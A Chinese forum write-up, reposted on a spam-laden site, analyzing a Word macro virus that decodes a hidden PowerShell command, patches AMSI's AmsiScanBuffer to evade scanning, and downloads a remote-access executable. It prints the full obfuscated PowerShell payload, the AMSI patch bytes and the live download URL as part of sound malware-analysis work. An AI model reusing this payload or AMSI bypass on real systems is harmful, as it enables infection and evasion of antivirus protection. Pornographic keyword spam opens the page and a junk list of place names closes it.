最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

【PC樣本分析】Word文檔宏病毒樣本分析

2020-10-22 17:29 作者:吾愛(ài)破解論壇  | 我要投稿

作者論壇賬號(hào):?Loopher


這是惡意樣本分析的office類病毒分析入門篇,這篇筆記主要記錄了如何分析Office類的宏病毒,包括如下

  • 調(diào)試VBA宏

  • 使用PowerShell ISE調(diào)試分析

  • 調(diào)試C#程序

在次之前曾逆向分析了一些.exe的病毒,但是在很多時(shí)候Office類的病毒也時(shí)常出現(xiàn),介于自己對(duì)這類病毒的分析不是熟悉,因此在尋找相關(guān)內(nèi)容博客和技術(shù)文檔來(lái)參考練手。

樣本基本信息

在沙箱上可以看到這是一個(gè)Word樣本


運(yùn)行時(shí)會(huì)啟動(dòng)Powershell.exe csc.exe cvtre.exe這三個(gè)進(jìn)程,如下


由此可以知道改程序會(huì)啟動(dòng)相關(guān)的腳本執(zhí)行,在VT上查詢?cè)摌颖?,被?biāo)記為Downloader
地址為:

https://www.virustotal.com/gui/file/a474c4ea67fd30e80ca375370d19dd0712997889814c2960d8a41c2856092ce5/detection

根據(jù)歷史提交檢測(cè)時(shí)間分析


該樣本目前仍有有部分殺軟還不支持,看樣子一些廠商還未捕獲該樣本,下面分析一下這個(gè)樣本的功能之一下載器。


樣本分析

將樣本下載下來(lái)后,打開(kāi)運(yùn)行后如下提示需要開(kāi)啟宏功能,如下


這里很典型的Office類病毒的慣用手法,使用VBA宏來(lái)隱藏實(shí)際功能,這里進(jìn)行調(diào)試分析VBA宏。


VBA宏功能分析

為了能調(diào)試分析該宏,我們不能直接點(diǎn)擊Enable Content來(lái)啟動(dòng)宏,調(diào)試步驟如下

  • 按住shift鍵

  • 點(diǎn)擊開(kāi)啟宏功能

  • 釋放shift鍵

  • 按下alt+f11打開(kāi)宏調(diào)試器

  • 調(diào)試宏功能
    打開(kāi)宏調(diào)試器之后如下


  • 雙擊打開(kāi)宏代碼后如下


  • 很明顯該程序被混淆了,將代碼復(fù)制出來(lái)在網(wǎng)上格式化后得到如下程序


  • 同樣代碼依然被混淆了,這里直接調(diào)試在運(yùn)行時(shí)獲取結(jié)果。

調(diào)試VBA

首先在Docuement_Open函數(shù)的入口設(shè)置斷點(diǎn)(直接點(diǎn)擊側(cè)邊的位置即可),如下


然后點(diǎn)擊運(yùn)行按鈕后如下(此時(shí)程序進(jìn)入debug狀態(tài))


緊接著單步步入(F8)進(jìn)入到函數(shù)Lethbridge(ByVal Garniture As String)內(nèi),可以看到該函數(shù)有一個(gè)參數(shù),在入口的位置傳入的值是
de9a2c49a42b6


從函數(shù)的聲明可以知道該函數(shù)返回一個(gè)String值,繼續(xù)單步進(jìn)入后來(lái)到Lethbridge內(nèi)之后,將變量窗口打開(kāi),在View-->Locals Windows如下


打開(kāi)后就能觀察到每個(gè)變量的值如下


經(jīng)過(guò)調(diào)試分析后知道,Lethbridge函數(shù)是一個(gè)字符串解密函數(shù),傳入的參數(shù)應(yīng)該是待解密的字符串值,第一次解密出的內(nèi)容


Lethbridge : "winmgmts:\\.\root\cimv2:Win32_Process" : String

如下


這里主要是解密并獲取一個(gè)WMI 的Win32_Process對(duì)象,這個(gè)對(duì)象在官網(wǎng)上的描述為

# https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-tasks--processes 可以通過(guò)這個(gè)對(duì)象來(lái)創(chuàng)建進(jìn)程,獲取進(jìn)程信息等

繼續(xù)往下調(diào)試分析
在獲取Win32_Process字符串之后調(diào)用GetObject函數(shù)獲取指定的對(duì)象并將獲取的對(duì)象傳入到調(diào)用函數(shù)SnottineSS內(nèi),該函數(shù)也會(huì)解密出一個(gè)字符串內(nèi)容并通過(guò)
Win32_Process.Create函數(shù)啟動(dòng)一個(gè)進(jìn)程,如下


繼續(xù)往下分析后知道,第二次解密出來(lái)的內(nèi)容是一個(gè)PowerShell腳本程序,如下



到了這的時(shí)候,此時(shí)程序已經(jīng)解密了PowerShell程序,解密內(nèi)容如下

"powershell -WindowStyle Hidden function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return "


手動(dòng)格式化后如下

從第一條命令可以知道,改程序會(huì)在啟動(dòng)時(shí)將PowerShell窗口隱藏并執(zhí)行后面的程序,這里啟動(dòng)powerShell ISE工具進(jìn)行 調(diào)試,如下


這里為了能運(yùn)行,使用如下命令調(diào)用,如下

function y171e

運(yùn)行后程序報(bào)錯(cuò),如下


這里是少了參數(shù),腳本還不夠完全應(yīng)該在啟動(dòng)PowerShell后應(yīng)該就能正常了,繼續(xù)單步執(zhí)行,繼續(xù)往下不要再單步 步入(F8)


在繼續(xù)單步調(diào)試后,觀察到ProcessHacker內(nèi)的進(jìn)程列表出現(xiàn)了PowerShell


此時(shí)將PowerShell程序懸掛住不繼續(xù)執(zhí)行,直接在ProcessHacker內(nèi)選中進(jìn)程并右鍵,點(diǎn)擊懸掛后即可。如果觀察及時(shí),可以看到csc.exe進(jìn)程出現(xiàn)一次
觀察此時(shí)的PowerShell進(jìn)程后如下 點(diǎn)擊進(jìn)程后右鍵-->屬性(Properties)->Command line


復(fù)制出來(lái)這個(gè)PowerShell腳本,如下


powershell -WindowStyle Hidden function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return $yce74a;}$z24c573 = '14465e5f52173018464354580c16125c595615641a1241525c1b65160f415e5c50192a0f4152435a4730044741585652105a4044585b5043324c4445505a4d255c56565b5810155c54420e4210085b5011664e1015505a1f7c785814465e5f5217301846435458192d04410c3c3f471603595e5215540f004644114c5502530c0f024e6c270d597e5c455811151d155a50450d04590403171b260f41454865580a0f410a137252173147585274530713504442171e3e1140555d5c5443124156455c5443044d4354475943285b436141454317020008571f2a0f41674547171b59510404031b1015475e5f52171556575206061e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508152f0e54537d5c551100474e131c6a1314575b5856171015544358561706194152435b172a0f41674547170657030207510e4b124145585b50431b560154541e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508153508474344545b33135a435456434148684744575b0a0215444554430a021552494152110f15555e5a5b43090254040d014b285b43614145430c5156060d01574d607e5f41671713155c0302550050571b445c5917414d545554515158195844411716085b4311470f5703060e180e6c270d597e5c455811151d157a50450d045904031b530f0d171b745b4311186558585b435e4367435d7858150478525c5a451a43196454417b02124172434758115c53565d46524a3c464350415e0041504f4550450d41435858511706070056541d7e0d1565434315565a550d5209197e0d15654343155b5b03040554195e0d15155005560106480e4744575b0a0215444554430a02155e5f411700500c04531d1e18285b4361414543020756540753555c500107000107581d4e0002060649170701000f5755000f0057025051530755171e4a5a5c511956050204075307140a2a0f416745471939044758184e7e0d1565434315455a57060308060a1556020e531d545100500555031b1a500206541d155151000f0501025b570302050505530702000507025454060203040641481c0c58531f11580304050c04425c7c59456543114f6f52435a1e18347c5945654311415d55505405075c1d62785b433315471e040e420a0f41175a0c5450560c0a010e5e05495d0052000f5549470e0706035a52195f535456510519074901074f0e4043115e0e0052020e181c4c211841526a68170904045255084c531906061d054f05071907490c071e5a7c5945654311415b55020700025c785643465f020d1b765d59580029725b5e57560f49061e0a785611125d565d1b740c114c1f5b5006060519071d5b55505302561d061e5804530250501f0d044217785b433315471f430c0150550c041f61582a0f4101051d1e48514d070104554a4d5b55020700024d061e0a484a1e124145585b504312040f0253565e245b415847580d0c5059451b70061573585d515211315443591d720d175c455e5b5a060f41196245520008545b775a5b070447197045470f085656455c580d255443501c174841176b6d560e51540015111e171a500206541d155707000705530257431c0c5f50404336505572595e060f411f181b730c165b5b5e545325085952194c065450501f13050e5750010405040355515103520152565700010453020154030700050f57570100050602025502070704045750015204060354540d070905035756010300530255540d075401525754000f0504060251530552040155530254050600505703020205015555000f0654035251500355050357050005131c1b10500d0457541e583147585250441032415643417e0d075a174803540153085954421733135a5454464430155445457c59050e1d44000d0405001c0c614758000446441f66430213411f48035401531c0c43504316135b17010e4a1314575b585617101554435856171015475e5f52171a500206541d4417135c5956155a06590c0e051c4c1015475e5f52171b59510404030a4100000000000000430e4445475e0d06155207030255050c0a13170c050e471f585b43430808070a155e5f0c500f080c034d2d505956415f58081e0a031c4c011841521143005458570a725a59150447431f6158211841521958525b580c031f664201124145585b504b08190518190655480e5207030255050c1c0c1d540b00471e19430054585769490d535054036c195c185148104f09510456571b7b545b501709681e0a4845061540455f155255570001550c0c1e1c';$z24c5732 = y171e($z24c573); Add-Type -TypeDefinition $z24c5732; [yba2983]::c193b();

可以看到程序調(diào)用了y171e,其中傳入的值是$z24c573,從功能上來(lái)分析,這里應(yīng)該是一個(gè)解密過(guò)程,緊接著調(diào)用
Add-Type -TypeDefinition?表明解密處理的內(nèi)容是一個(gè).Net的程序,這里是允許該程序加載.Net的框架庫(kù)

# 參考 https://renenyffenegger.ch/notes/Windows/PowerShell/command-inventory/noun/type/add/index


接著就通過(guò)[yba2983]::c193b();來(lái)調(diào)用執(zhí)行,這是通過(guò)PowerShell程序調(diào)用.Net程序的類進(jìn)行加載執(zhí)行的一個(gè)語(yǔ)法

# 參考 https://blog.adamfurmanek.pl/2016/03/19/executing-c-code-using-powershell-script/


PowerShell功能分析

這里調(diào)用PowerShell調(diào)試器將解密出的內(nèi)容打印出來(lái)并進(jìn)行分析,貼入代碼到PowerShell ISE內(nèi),并設(shè)置斷點(diǎn)在Add-Type的位置,同時(shí)在上一行打印$z24c5732的值,如下


此時(shí)運(yùn)行該程序后輸出如下內(nèi)容


經(jīng)過(guò)格式化之后得到如下程序


程序是被混淆了,閱讀起來(lái)也比較費(fèi)勁,因此選擇進(jìn)行調(diào)試解密出來(lái)的.Net程序


C#程序功能分析

Visual Studio 2015內(nèi)新建一個(gè)C#控制臺(tái)程序,并將解密出來(lái)的.Net代碼拷貝到程序內(nèi),如下


首先程序會(huì)導(dǎo)出kernel32的API供給后續(xù)程序使用,如上圖程序內(nèi)的注釋可以知道,分別導(dǎo)出了

? ?? ?? ?[DllImport("kernel32", EntryPoint = "GetProcAddress")] public static extern IntPtr v779b(IntPtr x8d356, string v7be73);// GetProcAddress? ?? ???[DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr e6656d9(string zc6ea);//LoadLibrary_function? ?? ???[DllImport("kernel32", EntryPoint = "VirtualProtect")] public static extern bool h7c586(IntPtr mda7864, UIntPtr k27bc1b, uint xcdaf29, out uint r84b39); //VirtualProtect? ?? ???[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void ef5ae(IntPtr a948e8, IntPtr l8b12e, int g4c6e); //RtlMoveMemory


接著先調(diào)用y171e函數(shù)執(zhí)行字符串解密功能,這里會(huì)傳入的字符串是待解密字符串,最后會(huì)返回解密的內(nèi)容,如下是解密函數(shù)


解密過(guò)程就是遍歷傳入的字符串然后進(jìn)行異或后返回最終結(jié)果,程序接著會(huì)進(jìn)行一系列的判斷然后分別調(diào)用GetProcAddress函數(shù),這個(gè)API通常是用來(lái)獲取指定的模塊的導(dǎo)出函數(shù)的指針,由此猜到了第二個(gè)字符串解密應(yīng)該是一個(gè)api的解密,緊跟著就判斷獲取的函數(shù)是否為空,如果不為空,就調(diào)用VirtualProtect函數(shù)修改對(duì)應(yīng)的內(nèi)存屬性PAGE_EXECUTE_READWRITE = 0x40,之后調(diào)用Marshal函數(shù)分配內(nèi)存并將

? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?Byte[] je1ed = { ? ?? ?? ?? ?? ?? ?? ?? ?0x31, ? ?? ?? ?? ?? ?? ?? ?? ?0xff, ? ?? ?? ?? ?? ?? ?? ?? ?0x90 ? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?};? ? 復(fù)制到導(dǎo)出的API函數(shù)內(nèi),這里就很奇怪,為什么會(huì)這么做?經(jīng)過(guò)搜索后發(fā)現(xiàn)這里是用來(lái)**繞過(guò)AMSI的檢測(cè)功能** ? ? ```shell ? ? # 什么是AMSI ? ? AMSI是微軟的一個(gè)反病毒功能,全稱為Antimalware Scan Interface (AMSI),用戶可以將該功能集成到程序內(nèi)可以防護(hù)用戶數(shù)據(jù)以病毒的入侵。 ? ? ```


? ? 對(duì)應(yīng)的代碼片段


? ?? ???## 代碼地址 ? ?? ???https://gist.github.com/TheWover/ad89ed9f402c7bdf1d0eda3cb99c458c

根據(jù)上面的POC代碼知道,這里要對(duì)amsi.dll打補(bǔ)丁的函數(shù)是AmsiScanBuffer,病毒對(duì)應(yīng)的代碼如下


可以確定這個(gè)程序首先會(huì)對(duì)AMSI執(zhí)行打補(bǔ)丁防止被掃描到。最后準(zhǔn)備一個(gè)文件路徑并調(diào)用WebClient函數(shù)執(zhí)行文件下載和執(zhí)行下載的文件。這里這個(gè)C#函數(shù)就是一個(gè)下載核心的文件并啟動(dòng)運(yùn)行。


下面進(jìn)入調(diào)試步驟,首先看到第一個(gè)解密出來(lái)的就是amsi.dll如下


接著是判斷amsi.dll是否不為空,如果不為空則繼續(xù)讀取AmsiScanBuffer的指針,這里的amsi.dll是為空



接著準(zhǔn)備待下載的文件路徑,解密拼接后的值如下


"C:\\Users\\QWER\\AppData\\Roaming\\c9255.exe"

解密出URL的值,如下


"https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe"

下載保存的文件為


大小為0,應(yīng)該是地址不能訪問(wèn)了,這里就不能啟動(dòng)這個(gè)核心的功能了。手動(dòng)嘗試訪問(wèn)這個(gè)地址發(fā)下掛了,應(yīng)該是被曝光之后被關(guān)閉了。


將提取的url到微步上查詢,微步被標(biāo)記為了可疑狀態(tài),但是只有Google的檢測(cè)出來(lái)

https://s.threatbook.cn/report/url/72d885d5b352c606949c65c8d6cf2691


在奇安信的威脅研判系統(tǒng)查詢到這是一個(gè)遠(yuǎn)控病毒

https://ti.qianxin.com/v2/search?type=domain&value=cannabispropertybrokers.com


總結(jié)

這個(gè)病毒的運(yùn)行需要開(kāi)啟宏才能執(zhí)行,執(zhí)行流程如下


這個(gè)病毒分析的難點(diǎn)還是在于調(diào)試VBA程序、powershell程序、C#這三個(gè)過(guò)程,在分析的過(guò)程中也能熟悉一些宏病毒的一些常規(guī)管用手法,一部分廠商不能查殺到可能是該病毒的動(dòng)態(tài)打補(bǔ)丁了amsi.dll繞過(guò)了相關(guān)檢測(cè)。

特征

樣本特征

MD5: 9eafc9090d71b382af7c8c04e83d61d2

URL

https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe

參考

  • AMSIBypass2

  • AMSI_bypass_post:amsi-bypass-redux

  • AMSI

  • Obfuscated VBA, Powershell, C#

  • 如何調(diào)試Word宏病毒,以及使用VS調(diào)試VB腳本

  • 使用powershell調(diào)用C#程序

  • PowerShell cmdLet add-type


原文地址:https://www.52pojie.cn/thread-1287476-1-1.html

【PC樣本分析】Word文檔宏病毒樣本分析的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
长武县| 衡水市| 永清县| 斗六市| 谷城县| 莒南县| 湘乡市| 博客| 邢台市| 扬中市| 昌平区| 曲沃县| 桐庐县| 平原县| 临高县| 资源县| 嘉祥县| 高邮市| 辽阳县| 广灵县| 石阡县| 霍林郭勒市| 陇南市| 威海市| 浮梁县| 齐河县| 濉溪县| 平武县| 阳城县| 长兴县| 平塘县| 镇赉县| 攀枝花市| 增城市| 简阳市| 洪洞县| 麻阳| 墨玉县| 许昌市| 中阳县| 荔浦县|